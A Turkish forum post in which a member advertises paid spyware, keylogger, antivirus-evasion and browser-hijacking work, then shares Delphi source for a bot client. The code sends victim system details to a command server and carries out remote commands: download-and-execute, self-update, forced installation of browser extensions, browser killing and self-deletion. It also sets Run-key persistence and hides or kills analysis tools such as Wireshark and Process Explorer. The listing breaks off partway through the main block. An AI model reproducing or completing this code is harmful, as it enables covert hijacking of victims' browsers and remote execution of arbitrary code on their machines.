tbtlb adlı üyeden alıntı: mesajı görüntüle
arkadaslar merhaba,

C/C++ Assembler ve Delphi dillerinde Masaüstü ve Mobil uygulamalar geliştiriyorum.

internetten veri çekme, soket tabanli multithreaded client/server uygulamalari, json/xml/text data/video/image/audio işleme, Tarayıcı İşlemleri (Ana Sayfa Değiştirme Programları, Eklenti Kurulumu Yapan Programlar), Undetecting, Spyware, KeyLogger ile ilgili işler yapiyorum..

referanslarim mevcut, PM araciligi ile talep edebilirsiniz.

dogrudan programlama(C/C++/ASM/Delphi/VisualBasic/JavaScript/VBScript/PHP/ASP) egitimi almak isteyenler, ilgilenenler,soru sormak isteyenler ve benimle calismak isteyenler PM atabilir.

kabul ettigim odeme turleri,
paypal, misli.com, nesine.com, garantibankasi, isbankasi

Yazmış Olduğum Örnek Bir Kod Parçacığı...

program Join;


//{$DEFINE DEBUG_MODE_ON} // Hata Duzeltmeleri İcin;   bu satiri kapatirsan siyah ekran gider.

//{$DEFINE DEMO_VERSION}
{$IFDEF DEBUG_MODE_ON}
  {$APPTYPE CONSOLE} // Siyah Ekran Gozukmesi Icin Gereklidir.
{$ELSE}
  {$APPTYPE GUI} // Siyah Ekrani Gizlemek İcin;
{$ENDIF}


{$IFDEF DEBUG_MODE_ON}
{$E .dll}
{$ELSE}
{$E .dll}
{$ENDIF}

{$WARNINGS OFF}
{$HINTS OFF}
{$R Generator.RES}

{
  [+] Eklenen Ozellik[*] Duzeltilen Sorun
  [-] Cikarilan Ozellik
  [#] Gelistirilen Ozellik

  Guncelleme - 30.07.2014
    + Dosya İle Birleştirme Özelliği Eklendi.
    + Registry Key ve Installation Name değiştirebilme Özelliği Eklendi.
    + Builder Özelliği Eklendi
    + Simge Değiştirebilme Özelliği Eklendi.
    + UPX ike Sıkıştırma Özelliği Eklendi.
    
  Guncelleme - 15.07.2014
    + CloudFlare Destegi Eklendi.
    * CloudFlare gibi protected sunuculardan dosya cekim isleminde hata verip programin kirilmasina sebep olan problem duzeltildi.
    + User-Agent Eklendi
    + Redirection Eklendi
    + WireShark Anti Debugger Bypass Ozelligi Eklendi
    * Programin hata vermesine sebebiyet veren (SaveToFile) Free edilemeyen MemoryStream sorunu duzeltildi.
    * SaveToFile Fonksiyonu WinAPI kullanilarak improve edildi.
    + Demo Version Destegi Eklendi.

  Eklenenler - 01.07.2014
    + Chrome görev yöneticisi ekranını otomatik kapatabilme özelliği eklendi.
    * Paneldeki Sorun Düzeltildi.
    * Programin komut almamasına sebep olan problem düzeltildi.
    * Uygulama installation dizini tekrar düzeltildi.
    # Bazı fonksiyonlar geliştirildi. Bilgisayar bilgisi alan fonksiyon düzenlendi.

  Guncelleme - 03.07.2014
    * Process Sonlandirmadaki Yetkilendirme Problemi Duzeltildi.
    * Installation Islemi Threadindaki Olusan Hata Duzeltildi.
    - Taskkill /im /f process* fonksiyonu programdan cikarildi.
}


uses
  Windows,
  IdHTTP,
  Classes,
  IniFiles,
  shFolder,
  Math,
  ShellAPI,
  TlHelp32,
  ImageHlp,
  ShlObj,
  SysUtils,
  uRC4 in 'uRC4.pas',
  uPrefs in 'uPrefs.pas';

const
    CMD_CLOSESERVER        = 1000;
    CMD_UNINSTALLFILE      = 1001;
    CMD_UPDATESERVER       = 1002;
    CMD_INSTALLEXTENSION   = 1003;
    CMD_RESETBROWSERS      = 1004;
    CMD_DOWNLOADANDEXECUTE = 1005;

const
    NONE              = $00; //Blank number
    INET_USERAGENT    = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0';
    INET_REDIRECT_MAX = 10;

Type
    TCustomDownloadFile = record
      SavePath : string;
    end;
    TBotConfig = record
      Mutex : String;
      VictimName : string;
      VictimComputerName : string;
      VictimCountry : string;
      VictimLanguage : string;
      VictimOS : string;
      VictimVersion : string;
      SettingsFile : string;
      SettingsIniFile : TIniFile;
      ProductKey : string;
      CommandURL : string;
      InstallDirectory,
      InstallName,
      InstallDirectoryPath,

      RegistryName : string;
    End;

  TInfo = RECORD
    URL_ADDR  : ARRAY [0..255] OF CHAR;
    BINDER   : BOOL;
    FILE_NAME : ARRAY [0..255] OF CHAR;

    // BROWSER
    FIREFOX     : BOOL;
    OPERA       : BOOL;
    CHROME      : BOOL;
    EXPLORER    : BOOL;
    SAFARI      : BOOL;
    PALEMON     : BOOL;
    MAXTHON     : BOOL;
    KMELEON     : BOOL;
    DRAGON      : BOOL;
    AVANT       : BOOL;
    YANDEX      : BOOL;
    TORCH        : BOOL;
    IRON         : BOOL;
    CHROMIUM     : BOOL;
    SUPERBIRD    : BOOL;
    CHROMECANARY : BOOL;

    //OTHER
    MELT        : BOOL;
    PERSISTANCE : BOOL;
    ENCRYPT     : BOOL;
    INSTALL     : BOOL;

    //REGISTRY
    KEY         : ARRAY [0..255] OF CHAR;
    PROGRAMNAME : ARRAY [0..255] OF CHAR;
  END;




    TBrowser = record
      // Tarayici Bilgileri;
      Firefox_Path,
      Firefox_Config,
      Firefox_Ext,
      Chrome_Path,
      Chrome_Config,
      Chrome_Ext,
      Yandex_Path,
      Yandex_Config,
      Yandex_Ext,
      ComodoDragon_Path,
      ComodoDragon_Config,
      ComodoDragon_Ext,
      Torch_Path,
      Torch_Config,
      Torch_Ext,
      Maxthon_Path,
      Maxthon_Config,
      Maxthon_Ext,
      Iron_Path,
      Iron_Config,
      Iron_Ext,
      Chromium_Path,
      Chromium_Config,
      Chromium_Ext,
      SuperBird_Path,
      SuperBird_Config,
      SuperBird_Ext,
      ChromeCanary_Path,
      ChromeCanary_Config,
      ChromeCanary_Ext,
      Opera_Path,
      Opera_Config,
      Opera_Ext : string;

      // Yuklenmis mi?
      Firefox_Installed,
      Chrome_Installed,
      Yandex_Installed,
      ComodoDragon_Installed,
      Torch_Installed,
      Maxthon_Installed,
      Iron_Installed,
      SuperBird_Installed,
      ChromeCanary_Installed,
      Chromium_Installed,
      Opera_Installed : Boolean;

    End;


Const
  Parser : String = '~';
  CurrentVersion : string = '0.9.9.2';
  StartUpPath : string = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\';
var
  BotConfig : TBotConfig;
  INFO      : TInfo;
  
Procedure DemoVersion;
begin
  {$IFDEF DEMO_VERSION}
    MessageBox(0,'DEVAM_ICIN_ILERI_BAS','DEMO_VERSION',MB_OK OR MB_ICONINFORMATION);
  {$ENDIF}
end;

Procedure DebugPrompt(pszData : string);
begin
  //OutputDebugStringW(PWideChar(WideString(pszData)));
  //Writeln(pszData);
  //Writeln(pszData);
  {$IFDEF DEBUG_MODE_ON}
     Writeln(pszData)
  {$ENDIF}
end;

function KillTask(ExeFileName: string): Integer;
const
  PROCESS_TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  Result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while Integer(ContinueLoop) <> 0
   do begin
          if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
            UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
            UpperCase(ExeFileName))) then
            Result := Integer(TerminateProcess(
                              OpenProcess(PROCESS_TERMINATE,
                                          BOOL(0),
                                          FProcessEntry32.th32ProcessID),
                                          0));
           ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
      end;
  CloseHandle(FSnapshotHandle);
end;

procedure DetectChromeTaskManager;
var
    guiInfo : TGUIThreadInfo;
    WindowName : string;
    arrWindow : array[0..255] of char;
begin

    while True Do
    begin
        guiInfo.cbsize := sizeof(TGUIThreadInfo);
        GetGUIThreadInfo(0,guiInfo);
        ZeroMemory(@arrWindow,SizeOf(arrWindow));
        GetWindowText(guiInfo.hwndActive,arrWindow,sizeof(arrWindow));
        WindowName := trim(string(arrWindow));

        if  (
			  (WindowName = 'Görev Yöneticisi - Google Chrome') or
			  (WindowName = 'Task Manager - Google Chrome') or
			  (WindowName = 'Task Manager - Comodo Dragon') or
			  (WindowName = 'Görev Yöneticisi - Comodo Dragon') or
			  (WindowName = 'Yandex görev yöneticisi') or
			  (WindowName = 'Task Manager Yandex') or
			  (WindowName = 'Task Manager - Iron') or
			  (WindowName = 'Görev Yöneticisi - Iron') or
			  (WindowName = 'Task Manager - Superbird') or
			  (WindowName = 'Görev Yöneticisi - Superbird') or
			  (WindowName = 'Görev Yöneticisi - Torch') or
			  (WindowName = 'Task Manager - Torch')
			)
		then begin
           DebugPrompt(WindowName + ' Tespit Edildi ve KAPANDI');
           CloseWindow(guiInfo.hwndActive);
        end
			  else   if (WindowName = 'Fiddler Web Debugger') or // Kill Debuggers;
                 (Pos('rocess Explorer',WindowName)>0)    or
                 (Pos('rocess Hacker',WindowName)>0)
					then begin
                  EnableWindow(guiInfo.hwndActive,false);
                  ShowWindow(guiInfo.hwndActive,SW_HIDE);
						   end
               else if (Pos('Wireshark',WindowName)>0)
                    then begin
                            KillTask('Wireshark.exe');
                         end;
        Sleep(1000);

    end;

end;

procedure Str2File(sData,sPath:  string);
var
  hFile:    THandle;
  dWritten: DWORD;
begin
    DebugPrompt('KAYIT YERI : ' + sPath);
    hFile := CreateFile(PChar(sPath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if hFile <> 0
     then begin
        SetFilePointer(hFile, 0, nil, FILE_BEGIN);
        WriteFile(hFile, sData[1], Length(sData), dWritten, nil);
      end;
      CloseHandle(hFile);
    DebugPrompt('KAYIT EDILDI!');
end;

Function AddToRegistry(RegKey : HKey;dType : Cardinal;SubKey,SingleKey,Value : String) : Boolean;
VAR
  Key : HKey;
Begin
 Result := False;
 if RegOpenKeyEx(RegKey,PChar(SubKey), 0, KEY_WRITE, Key) = ERROR_SUCCESS
  then begin
          RegSetValueEx(Key, PAnsiChar(SingleKey), 0,dType, PChar(Value),Length(Value)); // The 1 is for the terminating 0 (PChar)
          RegCloseKey(Key);
          RegCloseKey(RegKey);
       end;
End;


function Url2File(data : string) : string;
begin
  Result := StringReplace(data,'/','\',[rfReplaceAll]);
end;


function GetCustomPath(PathIndex : Integer) : string;
var
  arrPath : array[0..255] of char;
begin
   ZeroMemory(@arrPath,SizeOf(arrPath));
   case PathIndex of
     5 : begin  GetTempPath(SizeOf(arrPath),@arrPath); end;  // TEMP
     6 : begin  SHGetSpecialFolderPath(0,arrPath,CSIDL_APPDATA,false); end;  // App DATA
     7 : begin  SHGetSpecialFolderPath(0,arrPath,CSIDL_LOCAL_APPDATA,false); end;  // Local App DATA
   end;

   result := IncludeTrailingBackSlash(Trim(string(arrPath)));
end;


function GenerateRandomText(iLen : Integer): string;
var
     i : Integer;
begin
    Randomize;
    Result := '';
    for i := 0 to iLen
     do begin
          Result := Result + Chr( RandomRange(65,90) );
        end;
end;

function GetUserInfo(Index : Integer) : String;
var
    arrData : array [0..255] of char;
    hSize : Cardinal;
begin
  ZeroMemory(@arrData,SizeOf(arrData));
  hSize := SizeOf(arrData);
  FillChar(arrData,SizeOf(arrData),#0);
  case Index of
  0 : begin GetComputerName(arrData,hSize); end; // computername
  1 : begin GetUserName(arrData,hSize); end; // username
  2 : begin  // country Info
        Windows.GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,arrData,SizeOf(arrData))
      end;
  3 : begin // language
         VerLanguageName(GetSystemDefaultLCID,arrData,SizeOf(arrData));
      end;
  end;

  Result := string(Trim(string(arrData)));
  Result := StringReplace(Result,' ','_',[rfReplaceAll]);
  Result := StringReplace(Result,'.','_',[rfReplaceAll]);
  Result := StringReplace(Result,',','_',[rfReplaceAll]);
  Result := StringReplace(Result,'~','_',[rfReplaceAll]);
  Result := StringReplace(Result,'$','_',[rfReplaceAll]);
  Result := StringReplace(Result,'#','_',[rfReplaceAll]);
  Result := StringReplace(Result,'*','_',[rfReplaceAll]);
  Result := StringReplace(Result,'{','_',[rfReplaceAll]);
  Result := StringReplace(Result,'}','_',[rfReplaceAll]);
  Result := StringReplace(Result,'[','_',[rfReplaceAll]);
  Result := StringReplace(Result,']','_',[rfReplaceAll]);
  Result := StringReplace(Result,'(','_',[rfReplaceAll]);
  Result := StringReplace(Result,')','_',[rfReplaceAll]);
  Result := StringReplace(Result,'+','_',[rfReplaceAll]);
  Result := StringReplace(Result,'%','_',[rfReplaceAll]);
  Result := StringReplace(Result,'<','_',[rfReplaceAll]);
  Result := StringReplace(Result,'>','_',[rfReplaceAll]);
  Result := StringReplace(Result,'|','_',[rfReplaceAll]);
  Result := StringReplace(Result,'?','_',[rfReplaceAll]);
  Result := StringReplace(Result,'-','_',[rfReplaceAll]);
  if Length(Result) = 0 then Result := 'Unknown';
  DebugPrompt('Info:'+IntToStr(Index)+ '---' +Result);
end;

function InternetDownloadFile(pszUrl : string;Execute: Boolean;HasParams : String):TCustomDownloadFile;
var
    hDownloadSocket : TIdHTTP;
    stream : TMemoryStream;
begin
    Result.SavePath := GetCustomPath(5) + ExtractFileName(Url2File(pszUrl));
    If FileExists(Result.SavePath)
     then begin
              DeleteFileW(PWideChar(WideString(Result.SavePath)));
          end;

    DebugPrompt('URL ADRESİ : ' + pszUrl);
    stream := TMemoryStream.Create;
    hDownloadSocket := TIdHTTP.Create(nil);
    hDownloadSocket.request.userAgent := INET_USERAGENT;
    hDownloadSocket.redirectMaximum   := INET_REDIRECT_MAX;
    hDownloadSocket.handleRedirects   := INET_REDIRECT_MAX<>NONE;
    DebugPrompt('URL Adresi :  ' + pszUrl);
    hDownloadSocket.Get(pszUrl,Stream);
    Stream.position := 0 ;

    If not FileExists(Result.SavePath)
     then begin
            Stream.SaveToFile(Result.SavePath);
            Stream.Free;
          end;
    if Execute = true
     then begin
            DebugPrompt(Result.SavePath);
            ShellExecuteA(0,'OPEN',PAnsiChar(Result.SavePath),PAnsiChar(HasParams),Nil,SW_SHOW);
          end;

end;

Procedure Melt(OldFile :String);
var
  BatData : String;
  BatFile : String;
Begin
  BatData :=':start'+#13#10+
            'ping -n 1 localhost'+#13#10+
            'del' + ' "' + OldFile + '"'+#13#10+
            'if exist' + ' "' + OldFile + '" ' + 'goto start'+ #13#10+
            'del %0';
            
  BatFile:=IncludeTrailingBackSlash(GetCustomPath(5)) + 'Sil.bat';
  Str2File(BatData,BatFile);
  ShellExecuteA(0, 'open', PAnsiChar(BatFile), nil, nil, SW_HIDE);
End;

procedure Uninstall;
begin
  AddToRegistry(HKEY_CURRENT_USER,REG_SZ,StartUpPath,BotConfig.RegistryName,'');
  AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,StartUpPath,BotConfig.RegistryName,'');
  Melt(ParamStr(0));
  ExitProcess(0);
end;

function StringToUnicode(sString:String):String;
var
  i:integer;
begin
  Result := '';
  for i := 1 to Length(sString) do begin
    Result := Result + sString[i] + #0;
  end;
end;

procedure InstallFile;
var
  pCurPath:Pointer;
  strPath : String;
  ServerMutex : THandle;
begin

  AddToRegistry(HKEY_CURRENT_USER,REG_SZ,StartUpPath,BotConfig.RegistryName,BotConfig.InstallDirectoryPath);
  AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,StartUpPath,BotConfig.RegistryName,BotConfig.InstallDirectoryPath);

  strPath := BotConfig.InstallDirectoryPath;
  strPath := StringToUnicode(strPath);
  if lstrlenW(@strPath[1]) <> 0
    then begin
            GetMem(pCurPath,(MAX_PATH * 4));
            if pCurPath <> nil
             then begin
                      GetModuleFileNameW(0,pCurPath,(MAX_PATH * 4));
                      if lstrcmpiW(pCurPath,@strPath[1]) <> 0
                         then begin
                                  if CopyFileW(pCurPath,@strPath[1],False)
                                  then begin
                                          if ShellExecuteW(0,nil,@strPath[1],nil,nil,SW_SHOW) >= 32
                                             then begin
                                                    ExitProcess(0);
                                                  end;
                                       end;
                              end;
                      FreeMem(pCurPath);
                 end;
         end;

    ServerMutex := CreateMutex(nil,False,pchar(String(BotConfig.Mutex)));
    if GetLastError = ERROR_ALREADY_EXISTS
     then begin
            CloseHandle(ServerMutex);
            ExitProcess(0);
          end;
end;

procedure OpenBrowser;
begin
  if ShellExecuteW(0,nil,'Chrome.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('Chrome Calisti');
         end
    else if ShellExecuteW(0,nil,'Firefox.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('FireFox Calisti');
         end
    else if ShellExecuteW(0,nil,'Browser.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('Yandex Calisti');
         end
    else if ShellExecuteW(0,nil,'Opera.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('Opera Calisti');
         end
    else if ShellExecuteW(0,nil,'Dragon.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('Comodo Dragon Calisti');
         end
    else if ShellExecuteW(0,nil,'iexplore.exe',nil,nil,SW_SHOW) >= 32
    then begin
            DebugPrompt('Internet Explorer Calisti');
         end
    else begin
          ShellExecuteA(0,'OPEN',PAnsiChar('http://facebook.com'),'',Nil,SW_SHOW);
         end;
end;

procedure ResetBrowsers;
var
    strBrowserList : TStringList;
    i : Integer;
begin
  strBrowserList := TStringList.Create;
  strBrowserList.Clear;
  // Tarayicilari Kapat
  with strBrowserList
   do begin
          Add('firefox.exe');
          Add('chrome.exe');
          Add('yandex.exe');
          Add('iexplore.exe');
          Add('browser.exe');
          Add('dragon.exe');
          Add('opera.exe');
          Add('iron.exe');
          Add('superbird.exe');
          Add('torch.exe');
      end;

  for i := 0 to strBrowserList.Count - 1
  do begin
        DebugPrompt('Oldurulen Tarayici : ' + strBrowserList.Strings[i]);
        KillTask(strBrowserList.Strings[i]);
     end;
end;


function CheckExtensionIsInstalled(Url,Path : String) : Boolean;
begin

  Result := False;
  if BotConfig.SettingsIniFile.ReadString('SETTINGS','LastExtension','')<>Url
  then begin
          BotConfig.SettingsIniFile.WriteString('SETTINGS','LastExtension',Url);
          Result := False;
       end
  else
       begin
          DebugPrompt('Bu Eklenti Zaten Yüklenmiştir...');
          Result := True;
       end;
end;
procedure InstallExtension(pszData : string);
var
  Key,Value,ExtensionURL : string;
  Browser : TBrowser;
  ExtName : string;
begin
  // Eklenti Kur

  ExtensionURL := Copy(pszData,1,Pos(Parser,pszData)-1);
         Delete(pszData,1,Length(ExtensionURL)+1);

  Key := Copy(pszData,1,Pos(Parser,pszData)-1);
         Delete(pszData,1,Length(Key)+1);
  Value := Copy(pszData,1,Pos(Parser,pszData)-1);

  if CheckExtensionIsInstalled(ExtensionURL,Browser.Chrome_Ext + ExtName) = True
  then begin
         Exit;
       end;

  DebugPrompt('ExtensionURL:'+ExtensionURL);
  DebugPrompt('Key:'+Key);
  DebugPrompt('Value:'+Value);

  Browser.Chrome_Path      := GetCustomPath(7) + 'Google\Chrome\User Data\Default\Extensions\';
  Browser.Chrome_Config    := GetCustomPath(7) + 'Google\Chrome\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Chrome_Path)));
  Browser.Chrome_Installed := FileExists(Browser.Chrome_Config);
  Browser.Chrome_Ext := IncludeTrailingBackSlash(Browser.Chrome_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.Chrome_Ext));
  DebugPrompt(Browser.Chrome_Ext);

  Browser.Yandex_Path      := GetCustomPath(7) + 'Yandex\YandexBrowser\User Data\Default\Extensions\';
  Browser.Yandex_Config    := GetCustomPath(7) + 'Yandex\YandexBrowser\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Yandex_Path)));
  Browser.Yandex_Installed := FileExists(Browser.Yandex_Config);
  Browser.Yandex_Ext := IncludeTrailingBackSlash(Browser.Yandex_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.Yandex_Ext));
  DebugPrompt(Browser.Yandex_Ext);

  Browser.ComodoDragon_Path      := GetCustomPath(7) + 'COMODO\Dragon\User Data\Default\Extensions\';
  Browser.ComodoDragon_Config    := GetCustomPath(7) + 'COMODO\Dragon\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.ComodoDragon_Path)));
  Browser.ComodoDragon_Installed := FileExists(Browser.ComodoDragon_Config);
  Browser.ComodoDragon_Ext := IncludeTrailingBackSlash(Browser.ComodoDragon_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.ComodoDragon_Ext));
  DebugPrompt(Browser.ComodoDragon_Ext);

  Browser.ChromeCanary_Path      := GetCustomPath(7) + 'Google\Chrome SxS\User Data\Default\Extensions\';
  Browser.ChromeCanary_Config    := GetCustomPath(7) + 'Google\Chrome SxS\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.ChromeCanary_Path)));
  Browser.ChromeCanary_Installed := FileExists(Browser.ChromeCanary_Config);
  Browser.ChromeCanary_Ext := IncludeTrailingBackSlash(Browser.ChromeCanary_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.ChromeCanary_Ext));
  DebugPrompt(Browser.ChromeCanary_Ext);

  Browser.Chromium_Path      := GetCustomPath(7) + 'Chromium\User Data\Default\Extensions\';
  Browser.Chromium_Config    := GetCustomPath(7) + 'Chromium\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Chromium_Path)));
  Browser.Chromium_Installed := FileExists(Browser.Chromium_Config);
  Browser.Chromium_Ext := IncludeTrailingBackSlash(Browser.Chromium_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.Chromium_Ext));
  DebugPrompt(Browser.Chromium_Ext);

  Browser.Torch_Path      := GetCustomPath(7) + 'Torch\User Data\Default\Extensions\';
  Browser.Torch_Config    := GetCustomPath(7) + 'Torch\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Torch_Path)));
  Browser.Torch_Installed := FileExists(Browser.Torch_Config);
  Browser.Torch_Ext := IncludeTrailingBackSlash(Browser.Torch_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.Torch_Ext));
  DebugPrompt(Browser.Torch_Ext);

  Browser.SuperBird_Path      := GetCustomPath(7) + 'SuperBird\User Data\Default\Extensions\';
  Browser.SuperBird_Config    := GetCustomPath(7) + 'SuperBird\User Data\Default\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.SuperBird_Path)));
  Browser.SuperBird_Installed := FileExists(Browser.SuperBird_Config);
  Browser.SuperBird_Ext := IncludeTrailingBackSlash(Browser.SuperBird_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.SuperBird_Ext));
  DebugPrompt(Browser.SuperBird_Ext);

  Browser.Opera_Path      := GetCustomPath(6) + 'Opera Software\Opera Stable\Extensions\';
  Browser.Opera_Config    := GetCustomPath(6) + 'Opera Software\Opera Stable\Preferences';
  MakeSureDirectoryPathExists(PAnsiChar(AnsiString(Browser.Opera_Path)));
  Browser.Opera_Installed := FileExists(Browser.Opera_Config);
  Browser.Opera_Ext := IncludeTrailingBackSlash(Browser.Opera_Path + Key);
  MakeSureDirectoryPathExists(PAnsiChar(Browser.Opera_Ext));
  DebugPrompt(Browser.Opera_Ext);

  with InternetDownloadFile(ExtensionURL,false,'')
    do begin

           ExtName := ExtractFileName(SavePath);
           DebugPrompt(#13#10#13#10);
           DebugPrompt('YAZILACAK YER : ' + Browser.Chrome_Ext + ExtName);
           DebugPrompt('NEREDEN : ' + SavePath);

           DebugPrompt('Browserlar Resetleniyor..');
           ResetBrowsers;
           DebugPrompt('Browserlar Resetlendi.');
           Sleep(5000);

           DebugPrompt('Chrome_Ext : ' + Browser.Chrome_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Chrome_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.Chrome_Ext + ExtName), Browser.Chrome_Config);

           DebugPrompt('Yandex_Ext : ' + Browser.Yandex_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Yandex_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.Yandex_Ext + ExtName), Browser.Yandex_Config);

           DebugPrompt('ComodoDragon_Ext : ' + Browser.ComodoDragon_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.ComodoDragon_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.ComodoDragon_Ext + ExtName), Browser.ComodoDragon_Config);

           DebugPrompt('Torch_Ext : ' + Browser.Torch_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Torch_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.Torch_Ext + ExtName), Browser.Torch_Config);

           DebugPrompt('Opera_Ext : ' + Browser.Opera_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Opera_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.Opera_Ext + ExtName), Browser.Opera_Config);

           DebugPrompt('ChromeCanary_Ext : ' + Browser.ChromeCanary_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.ChromeCanary_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.ChromeCanary_Ext + ExtName), Browser.ChromeCanary_Config);

           DebugPrompt('Chromium_Ext : ' + Browser.Chromium_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.Chromium_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.Chromium_Ext + ExtName), Browser.Chromium_Config);

           DebugPrompt('SuperBird_Ext : ' + Browser.SuperBird_Ext + ExtName);
           CopyFile(PansiChar(SavePath),PAnsiChar(Browser.SuperBird_Ext + ExtName),False);
           Str2File(GenerateChromePreferences(Value,Key,Browser.SuperBird_Ext + ExtName), Browser.SuperBird_Config);

          DebugPrompt('Tarayici Calistiriliyor..');
          OpenBrowser;
          DebugPrompt('Tarayici Calistirildi.');
          Exit;
      end;

end;

procedure UpdateServer(pszNewFile : string);
begin
  // Server Guncelle
  with InternetDownloadFile(pszNewFile,True,'')
    do begin
          ExitProcess(0);
       end;
end;



procedure CheckCommands(Data : string);
var
  CommandID : Integer;
  Params    : String;
  IsCommandApplied : Boolean;
begin
  Data := Trim(Data);
  Delete(Data,1,Pos(':',Data));

  IsCommandApplied := False;
  if BotConfig.SettingsIniFile.ReadString('SETTINGS','LastCommandHash','')<>Data
  then begin
          BotConfig.SettingsIniFile.WriteString('SETTINGS','LastCommandHash',Data);
          IsCommandApplied := True;
       end;

  if IsCommandApplied = false
  then begin
        DebugPrompt('Bu Komut Daha Önceden Zaten Uygulanmış');
        Exit;
       end;

  Data := HexToStr(Trim(Data));

   CommandID := StrToIntDef(Copy(Data,1,Pos(Parser,Data)-1),0);
   Delete(Data,1,Length(IntToStr(CommandID))+1);


   case CommandID of
     CMD_CLOSESERVER : 
     begin
        ExitProcess(0);
     end;
     CMD_UNINSTALLFILE :
     begin
        Uninstall;
     end;
     CMD_UPDATESERVER :
     begin
        DebugPrompt(Data);
        UpdateServer(Data);
     end;
     CMD_RESETBROWSERS :
     begin
         ResetBrowsers;
         OpenBrowser;
     end;
     CMD_INSTALLEXTENSION :
     begin
        InstallExtension(Data);
     end;

     CMD_DOWNLOADANDEXECUTE :
     begin
      InternetDownloadFile(Data,True,'');
     end;

   end;



end;

function Decrypt(St: string): string;
var
  i: integer;
  a: byte;
begin
  Result := '';
  for i := length(St) downto 1 do begin
    A := ord(St[i]);
    result := result + char(a+1);
  end;
end;



procedure ReadCommands;
var
    Socket: TIdHTTP;
    lstParams : TStringList;
    strResponse : string;
begin
    lstParams := TStringList.Create;
    lstParams.Clear;
    lstParams.add('vKey='+BotConfig.ProductKey);
    lstParams.add('uID='+BotConfig.VictimName);
    lstParams.add('cID='+BotConfig.VictimComputerName);
    lstParams.add('vCountry='+BotConfig.VictimCountry);
    lstParams.add('vLang='+BotConfig.VictimLanguage);
    lstParams.add('vVer='+BotConfig.VictimVersion);
    lstParams.add('vOS='+BotConfig.VictimOS);
    while True
      do  begin
            try
              Socket:= TIdHTTP.Create(nil);
              Socket.request.userAgent:= INET_USERAGENT;
              Socket.redirectMaximum  := INET_REDIRECT_MAX;
              Socket.handleRedirects  := INET_REDIRECT_MAX<>NONE;
              Socket.Port := 80;
              strResponse := Socket.Post(BotConfig.CommandURL,lstParams);
            except on e : Exception
              do begin
                  DebugPrompt(E.Message);
                 end;
            end;
            DebugPrompt('KOMUT OKUNDU:'+strResponse);
            CheckCommands(strResponse);
            strResponse:='';
            Sleep(10000);
          end;
end;


var
    Msg : TMSG;
    ServerMutex,
    threadTaskManager,
    threadChromeTaskManagerControl,
    threadReadCommands,
    threadInstallServer : THandle;

    ResData : String;
    ResourceStream : TResourceStream;
    Stream : TMemoryStream;
    FileData : String;
    BindFilePath : String;

    threadTaskManagerId,
    threadInstallServerId,
    lpReadCommandThreadId : cardinal;

begin
    DemoVersion;

    SetErrorMode(SEM_FAILCRITICALERRORS +
                 SEM_NOALIGNMENTFAULTEXCEPT +
                 SEM_NOGPFAULTERRORBOX +
                 SEM_NOOPENFILEERRORBOX);
    DemoVersion;


    ResData:='';
    ResourceStream:=TResourceStream.Create(0,'TKEY',RT_RCDATA);
    ResourceStream.Position:=0;
    SetString(ResData,pansichar(ResourceStream.Memory),ResourceStream.Size);
    ResData := Decrypt(ResData);
    DebugPrompt('DECRYPTED RES DATA : ' + ResData);

    Stream := TMemoryStream.Create;
